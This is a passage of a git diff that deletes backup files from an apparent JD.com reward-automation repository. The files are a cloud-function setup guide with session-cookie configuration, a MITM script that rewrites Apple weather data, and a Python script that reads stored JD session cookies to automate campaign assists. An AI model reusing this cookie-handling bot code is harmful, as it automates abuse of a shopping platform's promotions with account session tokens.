e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/iCloud.md b/backUp/iCloud.md deleted file mode 100644 index c61143f..0000000 --- a/backUp/iCloud.md +++ /dev/null @@ -1,215 +0,0 @@ -## 1.安装 Node.js 环境 - -[下载地址](https://nodejs.org/zh-tw/download/ ) - -根据自己的操作系统下载 - -傻瓜式安装,一直下一步即可。 - - - -## 2.下载源码 - -![BclSld.png](https://s1.ax1x.com/2020/11/04/BclSld.png) - -点击红框处下载压缩包 - -## 3.安装依赖、增加入口文件、增加cookie - -压缩包解压后进入项目文件夹 - -- Windows 用户按住 **shift** 点击右键,点击 **在此处打开命令窗口** -- Mac 用户通过终端,自行进入该文件夹 - -在命令行内输入 `npm i `,等待运行完成。 - -此时,项目文件夹内会多出一个 `node_modules`文件夹 - - **增加入口文件** - -方案一:同一个仓库下同一个时间,执行多个脚本 - -在项目文件夹内新建 `index.js` - -编辑文件 - -```javascript -'use strict'; -exports.main_handler = async (event, context, callback) => { - //解决云函数热启动问题 - delete require.cache[require.resolve('./jd_xtg1.js')]; - require('./jd_xtg1.js') //这里写你想要的脚本 - require('./jd_xtg2.js') //这里写你想要的脚本 - require('./jd_xtg3.js') //这里写你想要的脚本 -} - -``` -此时,同一时间点下,会同时执行多个脚本,触发器触发后,index.js文件中require()下的所有脚本都会被执行 - -**优点**:同一时间下可以同时执行多个脚本,适合脚本种类少的repository,对脚本数量少的repository推荐使用此方案
**缺点**:多个脚本不同时间点运行无法满足 - -方案二:同一个仓库下不同的时间点,分别执行不同的脚本(类似GitHub Action执行机制) - -在项目文件夹内新建 `index.js` - -编辑文件 - -```javascript -'use strict'; -exports.main_handler = async (event, context, callback) => { - for (const v of event["Message"].split("\r\n")) { - //解决云函数热启动问题 - delete require.cache[require.resolve(`./${v}.js`)]; - console.log(v); - require(`./${v}.js`) - } -} - -``` - -此时触发管理按照下图中进行设置,附加信息选择“是”,内容填写需要传递执行的具体脚本文件名,以回车键换行。触发器触发后,附加信息栏内的脚本会被执行,设置多个不同时间点的触发器达到类似GitHub Action的效果 - -**优点**:可以满足个性化需求,同一个repository下只需要设置不同的触发器,可以实现不同时间点分别执行不同的脚本
**缺点**:repository下脚本过多,如果需要设置多个触发器,实现个性化运行效果,由于云函数的限制,最多只能设置10个 - -[![B20KxI.png](https://s1.ax1x.com/2020/11/05/B20KxI.png)](https://imgchr.com/i/B20KxI) -[![BRCG0H.png](https://s1.ax1x.com/2020/11/05/BRCG0H.png)](https://imgchr.com/i/BRCG0H) - -**注意:**
-Ⅰ方案一与方案二不能混合到同一个index.js文件中使用,同一个仓库下,二者只能选择其一。
-Ⅱ感谢[issues#115](https://github.com/LXK9301/jd_scripts/issues/115)中的解决方案,目前云函数连续测试已经可以规避热启动问题了。
-Ⅲ在确保完全按照本教程设置的情况下测试云函数运行情况,对于部分人运行日志中出现某些脚本运行失败其他正常,并且错误提示带有strict字样的,请自行删除index.js中的```'use strict';```,再做测试
- - **增加cookie** - -打开项目文件内的 `jdCookie.js` - -在最上面的 `CookieJDs`里写入 cookie ,多个账号以逗号分隔 - -例如 - -```javascript -let CookieJDs = [ - 'pt_key=xxx;pt_pin=xxx;', - 'pt_key=zzz;pt_pin=zzz;', - 'pt_key=aaa;pt_pin=xxxaaa' -] -``` - - - -## 4.上传至腾讯云 - -[腾讯云函数地址]( https://console.cloud.tencent.com/scf/index ) - -编写函数 - -登录后,点击管理控制台 - -单击左侧导航栏**函数服务**,进入“函数服务”页面。 -在页面上方选择一个地域,最好选择离你常用地区近点的,不至于导致账号异常。单击**新建**。如下图所示: - -![iCloud1](../icon/iCloud1.png) - -在“新建函数”页面填写函数基础信息,单击**下一步**。如下图所示: - -![iCloud2](../icon/iCloud2.png) - -**函数名称**:可以自定义,比如为jd。
**运行环境**:选择 “Nodejs 12.16”。
**创建方式**:选择 “空白函数”。 - -确保环境为Nodejs 12.16,执行方法改为:index.main_handler,提交方式建议选本地文件夹,然后从GitHub项目克隆Zip压缩包,解压成文件夹,然后点击这个上传把文件夹上传进来(记得node_modules文件夹一并上传或者将node_modules文件夹上传到“层”,之后选择“函数管理”-“层管理”绑定上传好的层),完了后点击下面的高级设置。 - -![iCloud3](../icon/iCloud3.png) - -内存用不了太大,64MB就够了(64M内存,免费时长6,400,000秒,内存与免费时长大致关系可以参看云函数官方说明),超时时间改为最大的900秒,然后点击最下面的完成。 - -![iCloud4](../icon/iCloud4.png) - -默认设置下,云函数运行时长最长900s,可以通过设置突破900s限制,**此方法仅适用于新建函数名时设置,已建的无法更改,需要删除后重建**。
- -新建函数,选择**高级配置**,**执行配置**,启用**异步执行**,之后在**环境配置**下**执行超时时间**,最大可以选择**86400秒**的执行时间。
- -![iCloud7](../icon/iCloud7.png) - -![iCloud8](../icon/iCloud7.png) - -## 5.设置触发器 - -点击刚创建的函数 - -![BcGa8O.png](https://s1.ax1x.com/2020/11/04/BcGa8O.png) - -点击如图所示 - -![BcGvM4.png](https://s1.ax1x.com/2020/11/04/BcGvM4.png) - -创建触发器 - -![iCloud6](../icon/iCloud6.png) - -触发方式默认“**定时触发**”,定时任务名称随便起个名字,触发周期根据自己需要自行设置。 - -想进阶使用触发器的自行查看本文中方案一和方案二中的说明 - -关于触发周期中的自定义触发周期,使用的是 Cron表达式,这个自行学习下吧 - - -[Corn文档](https://cloud.tencent.com/document/product/583/9708#cron-.E8.A1.A8.E8.BE.BE.E5.BC.8F) - -目前repo中按照每个脚本一个定时器的方式设置到云函数中,大约需要触发器10多个,由于云函数触发器限制最多10个,需要对触发器进行整合,整合后触发器保持在10个以内,以下设置仅供参考
- -| JavaScript | 脚本名称 | 活动时间 | serverless.yml | -| :------------------: | :-----------------------: | :------: | :---------------: | -| `getJDCookie` | 扫码获取京东Cookie | 长期 | / | -| `jd_bean_change` | 京豆变动通知 | 长期 | 30 7 * * * | -| `jd_bean_home` | 领京豆额外奖励 | 长期 | 30 7 * * * | -| `jd_bean_sign` | 京豆签到 | 长期 | 0 0 * * * | -| `jd_beauty` | 美丽研究院 | 长期 | 0 0-16/8,20 * * * | -| `jd_blueCoin` | 京小超兑换奖品 | 长期 | 0 0 * * * | -| `jd_bookshop` | 口袋书店 | 长期 | 5 6-18/6,8 * * * | -| `jd_car` | 京东汽车 | 长期 | 10 0 * * * | -| `jd_car_exchange` | 京东汽车兑换 | 长期 | 0 0 * * * | -| `jd_cash` | 签到领现金 | 长期 | 0 0-16/8,20 * * * | -| `jd_cfd` | 京喜财富岛 | 长期 | 0 0-16/8,20 * * * | -| `jd_club_lottery` | 摇京豆 | 长期 | 0 0 * * * | -| `jd_crazy_joy` | 疯狂的joy | 长期 | 30 7 * * * | -| `jd_crazy_joy_bonus` | 监控crazyJoy分红 | 长期 | 30 7 * * * | -| `jd_crazy_joy_coin` | 疯狂的joy挂机 | 长期 | / | -| `jd_daily_egg` | 京东金融-天天提额 | 长期 | 8 */3 * * * | -| `jd_delCoupon` | 删除优惠券 | 长期 | / | -| `jd_dreamFactory` | 京喜工厂 | 长期 | 3 */1 * * * | -| `jd_family` | 京东家庭号 | 长期 | 5 6-18/6,8 * * * | -| `jd_fruit` | 东东农场 | 长期 | 5 6-18/6,8 * * * | -| `jd_get_share_code` | 获取互助码 | 长期 | / | -| `jd_jdfactory` | 东东工厂 | 长期 | 3 */1 * * * | -| `jd_jdzz` | 京东赚赚 | 长期 | 3 1 * * * | -| `jd_joy` | 宠汪汪 | 长期 | 3 */1 * * * | -| `jd_joy_feedPets` | 宠汪汪单独喂食 | 长期 | 3 */1 * * * | -| `jd_joy_help` | 宠汪汪强制为别人助力 | 长期 | / | -| `jd_joy_reward` | 宠汪汪兑换奖品 | 长期 | 0 0-16/8,20 * * * | -| `jd_joy_run` | 宠汪汪邀请助力与赛跑助力 | 长期 | / | -| `jd_jxd` | 京小兑 | 长期 | 30 7 * * * | -| `jd_jxnc` | 京喜农场 | 长期 | 5 6-18/6,8 * * * | -| `jd_kd` | 京东快递 | 长期 | 3 1 * * * | -| `jd_live` | 京东直播18豆 | 长期 | 0 0-16/8,20 * * * | -| `jd_live_redrain` | 超级直播间红包雨 | 长期 | / | -| `jd_lotteryMachine` | 京东抽奖机 | 长期 | 10 0 * * * | -| `jd_moneyTree` | 摇钱树 | 长期 | 3 */1 * * * | -| `jd_ms` | 京东秒秒币 | 长期 | 10 0 * * * | -| `jd_necklace` | 点点券 | 长期 | 0 0-16/8,20 * * * | -| `jd_pet` | 东东萌宠 | 长期 | 5 6-18/6,8 * * * | -| `jd_pigPet` | 京东金融-养猪猪 | 长期 | 3 1 * * * | -| `jd_plantBean` | 种豆得豆 | 长期 | 3 */1 * * * | -| `jd_price` | 京东保价 | 长期 | 30 7 * * * | -| `jd_rankingList` | 京东排行榜 | 长期 | 30 7 * * * | -| `jd_redPacket` | 全民开红包 | 长期 | 10 0 * * * | -| `jd_sgmh` | 闪购盲盒 | 长期 | 30 7 * * * | -| `jd_shop` | 进店领豆 | 长期 | 10 0 * * * | -| `jd_small_home` | 东东小窝 | 长期 | 0 0-16/8,20 * * * | -| `jd_speed` | 天天加速 | 长期 | 8 */3 * * * | -| `jd_speed_sign` | 京东极速版签到+赚现金任务 | 长期 | 5 6-18/6,8 * * * | -| `jd_superMarket` | 东东超市 | 长期 | 15 */6 * * * | -| `jd_syj` | 十元街 | 长期 | 3 1 * * * | -| `jd_unsubscribe` | 取关京东店铺和商品 | 长期 | 10 0 * * * | -| `jx_sign` | 京喜签到 | 长期 | 3 1 * * * | - -点击提交,所有流程就结束了。 diff --git a/backUp/iOS_Weather_AQI_Standard.js b/backUp/iOS_Weather_AQI_Standard.js deleted file mode 100644 index a460036..0000000 --- a/backUp/iOS_Weather_AQI_Standard.js +++ /dev/null @@ -1,138 +0,0 @@ -// Developed by Hackl0us (https://github.com/hackl0us) - -// STEP 1: 前往 https://aqicn.org/data-platform/token/ 注册账户,将申请的 API Token 填入下方 -let aqicnToken = '' -// STEP 2: 参考下方配置片段,在代理工具的配置文件中添加对应的配置。注意:script-path 后应该替换为添加 apicnToken 值后的脚本路径 -/* -===============Surge================= -[Script] -AQI-US = type=http-response, pattern=https://weather-data.apple.com/v1/weather/[\w-]+/[0-9]+\.[0-9]+/[0-9]+\.[0-9]+\?, requires-body=true, script-path=/path/to/iOS_Weather_AQI_Standard.js - -[MITM] -hostname = weather-data.apple.com -*/ -const $ = new Env('牛逼天气'); -aqicnToken = $.getdata('hackl0us_aqi_token'); - -const AirQualityStandard = { - CN: 'HJ6332012.1', - US: 'EPA_NowCast.1' -} - -const AirQualityLevel = { - GOOD: 1, - MODERATE: 2, - UNHEALTHY_FOR_SENSITIVE: 3, - UNHEALTHY: 4, - VERY_UNHEALTHY: 5, - HAZARDOUS: 6 -} - -const coordRegex = /https:\/\/weather-data\.apple\.com\/v1\/weather\/[\w-]+\/([0-9]+\.[0-9]+)\/([0-9]+\.[0-9]+)\?/ -const [_, lat, lng] = $request.url.match(coordRegex) - -function classifyAirQualityLevel(aqiIndex) { - if (aqiIndex >= 0 && aqiIndex <= 50) { - return AirQualityLevel.GOOD; - } else if (aqiIndex >= 51 && aqiIndex <= 100) { - return AirQualityLevel.MODERATE; - } else if (aqiIndex >= 101 && aqiIndex <= 150) { - return AirQualityLevel.UNHEALTHY_FOR_SENSITIVE; - } else if (aqiIndex >= 151 && aqiIndex <= 200) { - return AirQualityLevel.UNHEALTHY; - } else if (aqiIndex >= 201 && aqiIndex <= 300) { - return AirQualityLevel.VERY_UNHEALTHY; - } else if (aqiIndex >= 301 && aqiIndex <= 500) { - return AirQualityLevel.HAZARDOUS; - } -} - -function modifyWeatherResp(weatherRespBody, aqicnRespBody) { - let weatherRespJson = JSON.parse(weatherRespBody) - let aqicnRespJson = JSON.parse(aqicnRespBody).data - weatherRespJson.air_quality = constructAirQuailityNode(aqicnRespJson) - return JSON.stringify(weatherRespJson) -} - -function getPrimaryPollutant(pollutant) { - switch (pollutant) { - case 'co': - return 'CO2'; - case 'so2': - return 'SO2'; - case 'no2': - return 'NO2'; - case 'pm25': - return 'PM2.5'; - case 'pm10': - return 'PM10'; - case 'o3': - return 'OZONE'; - default: - console.log('Unknown pollutant ' + pollutant); - } -} - -function constructAirQuailityNode(aqicnData) { - let airQualityNode = { "source": "", "learnMoreURL": "", "isSignificant": true, "airQualityCategoryIndex": 1, "airQualityScale": "", "airQualityIndex": 0, "pollutants": { "CO": { "name": "CO", "amount": 0, "unit": "μg/m3" }, "SO2": { "name": "SO2", "amount": 0, "unit": "μg/m3" }, "NO2": { "name": "NO2", "amount": 0, "unit": "μg/m3" }, "PM2.5": { "name": "PM2.5", "amount": 0, "unit": "μg/m3" }, "OZONE": { "name": "OZONE", "amount": 0, "unit": "μg/m3" }, "PM10": { "name": "PM10", "amount": 0, "unit": "μg/m3" } }, "metadata": { "reported_time": 0, "longitude": 0, "provider_name": "aqicn.org", "expire_time": 2, "provider_logo": "https://i.loli.net/2020/12/27/UqW23eZLFAIbxGV.png", "read_time": 2, "latitude": 0, "v": 1, "language": "", "data_source": 0 }, "name": "AirQuality", "primaryPollutant": "" } - const aqicnIndex = aqicnData.aqi - airQualityNode.source = aqicnData.city.name - airQualityNode.learnMoreURL = aqicnData.city.url + '/cn/m' - airQualityNode.airQualityCategoryIndex = classifyAirQualityLevel(aqicnIndex) - airQualityNode.airQualityScale = AirQualityStandard.US - airQualityNode.airQualityIndex = aqicnIndex - airQualityNode.pollutants.CO.amount = aqicnData.iaqi.co?.v || -1 - airQualityNode.pollutants.SO2.amount = aqicnData.iaqi.so2?.v || -1 - airQualityNode.pollutants.NO2.amount = aqicnData.iaqi.no2?.v || -1 - airQualityNode.pollutants["PM2.5"].amount = aqicnData.iaqi.pm25?.v || -1 - airQualityNode.pollutants.OZONE.amount = aqicnData.iaqi.o3?.v || -1 - airQualityNode.pollutants.PM10.amount = aqicnData.iaqi.pm10?.v || -1 - airQualityNode.metadata.latitude = aqicnData.city.geo[0] - airQualityNode.metadata.longitude = aqicnData.city.geo[1] - airQualityNode.metadata.read_time = roundHours(new Date(), 'down') - airQualityNode.metadata.expire_time = roundHours(new Date(), 'up') - airQualityNode.metadata.reported_time = aqicnData.time.v - //airQualityNode.metadata.language = $request.headers['Accept-Language'] - airQualityNode.primaryPollutant = getPrimaryPollutant(aqicnData.dominentpol) - return airQualityNode -} - -function roundHours(time, method) { - switch (method) { - case 'up': - time.setHours(time.getHours() + Math.ceil(time.getMinutes() / 60)); - break; - case 'down': - time.setHours(time.getHours() + Math.floor(time.getMinutes() / 60)); - break; - default: - console.log("Error rounding method"); - } - time.setMinutes(2, 0, 0); - return time; -} - -// $httpClient.get(`https://api.waqi.info/feed/geo:${lat};${lng}/?token=${aqicnToken}`, function (error, _response, data) { -// if (error) { -// let body = $response.body -// $done({ body }) -// } else { -// let body = modifyWeatherResp($response.body, data) -// $done({ body }) -// } -// }); -$.get({ url: `https://api.waqi.info/feed/geo:${lat};${lng}/?token=${aqicnToken}`, headers: $request.headers },(err, resp, data) => { - try { - if (err) { - $.logErr(err, resp); - } else { - console.log(`${JSON.stringify(resp.body)}`); - let body = modifyWeatherResp($response.body, resp.body); - $.done({body}); - } - } catch (e) { - $.logErr(e, resp); - $.done(); - } -}); -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_15.py b/backUp/jd_15.py deleted file mode 100644 index d11aa23..0000000 --- a/backUp/jd_15.py +++ /dev/null @@ -1,310 +0,0 @@ -#!/bin/env python3 -# -*- coding: utf-8 -* - -''' -cron: 0 59 23 * * 0 jd_15.py -new Env('Faker群友家电15周年助力'); -''' - -# cron -#不做浏览,只做助力 建议先运行jd_appliances.js 在运行此脚本 -# export jd15_pins=["pt_pin1","pt_pin2"] - -from urllib.parse import unquote, quote -import time, datetime, os, sys -import requests, json, re, random -import threading - -UserAgent = '' -script_name = '家电15周年助力' - - -def printT(msg): - print("[{}]: {}".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), msg)) - sys.stdout.flush() - - -def delEnvs(label): - try: - if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': - return True - elif label == 'False' or label == 'no' or label == 'false' or label == 'No': - return False - except: - pass - try: - if '.' in label: - return float(label) - elif '&' in label: - return label.split('&') - elif '@' in label: - return label.split('@') - else: - return int(label) - except: - return label - - -class getJDCookie(): - # 适配青龙平台环境ck - def getckfile(self): - ql_new = '/ql/config/env.sh' - ql_old = '/ql/config/cookie.sh' - if os.path.exists(ql_new): - printT("当前环境青龙面板新版") - return ql_new - elif os.path.exists(ql_old): - printT("当前环境青龙面板旧版") - return ql_old - - # 获取cookie - def getallCookie(self): - cookies = '' - ckfile = self.getckfile() - try: - if os.path.exists(ckfile): - with open(ckfile, "r", encoding="utf-8") as f: - cks_text = f.read() - if 'pt_key=' in cks_text and 'pt_pin=' in cks_text: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - cks_list = r.findall(cks_text) - if len(cks_list) > 0: - for ck in cks_list: - cookies += ck - return cookies - except Exception as e: - printT(f"【getCookie Error】{e}") - - # 检测cookie格式是否正确 - def getUserInfo(self, ck, user_order, pinName): - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion?orgFlag=JD_PinGou_New&callSource=mainorder&channel=4&isHomewhite=0&sceneval=2&sceneval=2&callback=' - headers = { - 'Cookie': ck, - 'Accept': '*/*', - 'Connection': 'close', - 'Referer': 'https://home.m.jd.com/myJd/home.action', - 'Accept-Encoding': 'gzip, deflate, br', - 'Host': 'me-api.jd.com', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1', - 'Accept-Language': 'zh-cn' - } - try: - resp = requests.get(url=url, headers=headers, timeout=60).json() - if resp['retcode'] == "0": - nickname = resp['data']['userInfo']['baseInfo']['nickname'] - return ck, nickname - else: - context = f"账号{user_order}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - except Exception: - context = f"账号{user_order}【{pinName}】Cookie 已失效!请重新获取。" - print(context) - return ck, False - - def getcookies(self): - """ - :return: cookiesList,userNameList,pinNameList - """ - cookiesList = [] - pinNameList = [] - nickNameList = [] - cookies = self.getallCookie() - if 'pt_key=' in cookies and 'pt_pin=' in cookies: - r = re.compile(r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) - result = r.findall(cookies) - if len(result) >= 1: - printT("您已配置{}个账号".format(len(result))) - user_order = 1 - for ck in result: - r = re.compile(r"pt_pin=(.*?);") - pinName = r.findall(ck) - pinName = unquote(pinName[0]) - # 获取账号名 - ck, nickname = self.getUserInfo(ck, user_order, pinName) - if nickname != False: - cookiesList.append(ck) - pinNameList.append(pinName) - nickNameList.append(nickname) - user_order += 1 - else: - user_order += 1 - continue - if len(cookiesList) > 0: - return cookiesList, pinNameList, nickNameList - else: - printT("没有可用Cookie,已退出") - exit(4) - else: - printT("没有可用Cookie,已退出") - exit(4) - - -def getPinEnvs(): - if "jd15_pins" in os.environ: - if len(os.environ["jd15_pins"]) != 0: - jd15_pins = os.environ["jd15_pins"] - jd15_pins = jd15_pins.replace('[', '').replace(']', '').replace('\'', '').replace(' ', '').split(',') - printT(f"已获取并使用Env环境 jd15_pins:{jd15_pins}") - return jd15_pins - else: - printT('请先配置export jd15_pins=["pt_pin1","pt_pin2"]') - exit(4) - printT('请先配置export jd15_pins=["pt_pin1","pt_pin2"]') - exit(4) - - -def res_post(cookie, body): - url = "https://api.m.jd.com/api" - headers = { - "Host": "api.m.jd.com", - "content-length": "146", - "accept": "application/json, text/plain, */*", - "origin": "https://welfare.m.jd.com", - "user-agent": "jdapp;android;10.1.0;10;4636532323835366-1683336356836626;network/UNKNOWN;model/MI 8;addressid/4608453733;aid/dc52285fa836e8fb;oaid/a28cc4ac8bda0bf6;osVer/29;appBuild/89568;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045715 Mobile Safari/537.36", - "sec-fetch-mode": "cors", - "content-type": 